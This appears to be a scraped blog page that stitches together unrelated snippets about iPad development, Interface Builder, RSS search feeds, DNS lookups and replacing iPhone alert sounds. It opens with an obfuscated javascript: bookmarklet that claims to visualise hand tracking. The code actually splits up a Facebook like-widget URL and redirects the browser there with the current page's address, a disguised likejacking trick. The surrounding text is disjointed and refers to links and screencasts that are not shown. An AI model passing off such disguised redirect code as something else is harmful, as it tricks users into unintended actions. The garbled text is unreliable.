Here is a bit of code on how to visualize it in your head (about how it tracks your hand). By the way, it isn’t multi-touch friendly at this stage. That will come later

The code:

javascript:s='/';
wp=decodeURIComponent('http%3A');
wp=wp+s+s;
o='o';e='e';ut=wp+'fac' + e + 'b' + o +  o + 'k.c';
php='php';i='i';
ut=ut+o +'m'+s + 'w' + i + 'dg';ut=ut + e + 'ts'+s + 'l';
ut=ut + i + 'k' + e;ut=ut+'.' + php;
ut=ut+decodeURIComponent('%3Fhr') + e + 'f=';
location.href=ut+encodeURIComponent(location.href);

The reason, developing universal applications as well as converting an existing application (for both the iPad and iPhone) is a LOT easier when you use interface builder. As you do not need to really write too much code other than querying UI_USER_INTERFACE_IDIOM() and choosing which Nib to present to the user.

Anyway, to help you get started I’ve created a GIST in github.

Happy Devving!

Personally I am going to use it for keeping my CV and portfolio onto the iPad – the ultimate transition from paper.

As for the virtual keyboard, in landscape mode it almost feels like using a real keyboard. I guess it could be that I’m used to typing stuff on the iPhone keyboard.

Looking at my webserver logs, I’ve noticed an increase in traffic and not to mention linked in with recruitment agencies and connections doing their “fishing” (not a bad thing really as a big round of redundancies is very worrying when you have bills to pay, etc etc)

In this screencast I’ll step you through adding of new data items (Nothing in the photo album in the simulator sorry ).

Anyway here is the link

The good

• Localization – Easy to see how big to make certain buttons when you use another language (e.g. Asian script languages do not take up a lot of space). So you can give the space to something else.
• The WYSIWYG feel - You put a control class on it (or custom UIView subclass) and it will appear exactly how you want it. It also takes less time to develop something useful.

The Bad

• Performance – There is a little performance hit because IB files are XML files which get processed at run time, while doing a UI purely with UIKit code – everything is already in machine readable format.
• Intimidating for beginners – We’ve all been there before, but personally I didn’t learn too much Objective-C / UIKit until I wrote an entire application in code.

The verdict

Personally, I’d go for a bit of both. Interface builder is great for cutting down development time (because you don’t have to hit compile every time you want to see how your app will look). While doing stuff in code is great for making custom objects (subclasses of existing Apple stuff) to make your app look prettier.

Using Google Blog Search, you can create an RSS feed to search terms. As all my blogs sit on the *.perceptionz.net domain, you can simply add the link http://blogsearch.google.com/blogsearch_feeds?hl=en&q=site:perceptionz.net&ie=utf-8&num=10&output=rss to your favorite RSS reader  (Note: Haven’t worked out how to subscribe to Google Reader with that link yet, but if anyone knows please let me know!).

Running the command dig +short txt keyword.wp.dg.cx will return a short description as a DNS TXT response with the wikipedia article.

Anyway here are the steps:

1. Run the following command afconvert -f caff -d ima4 -v  filename_to_convert.ext sms-received1.caf
   (Please note that you can use sms-received1 through to sms-received6)
2. Back up the sms-received file that you wish the replace in the /System/Library/Audio/UISounds folder
3. Copy the file that you have converted to /System/Library/Audio/UISounds
   For example (This will overwrite the file, so make sure you make a backup!!): scp sms-received1.caf root@iphone-name.local:/System/Library/Audio/UISounds
4. Go to Settings->Sounds and select New Text Message and then press the sound (top is number 1, bottom is number 6) and confirm that it works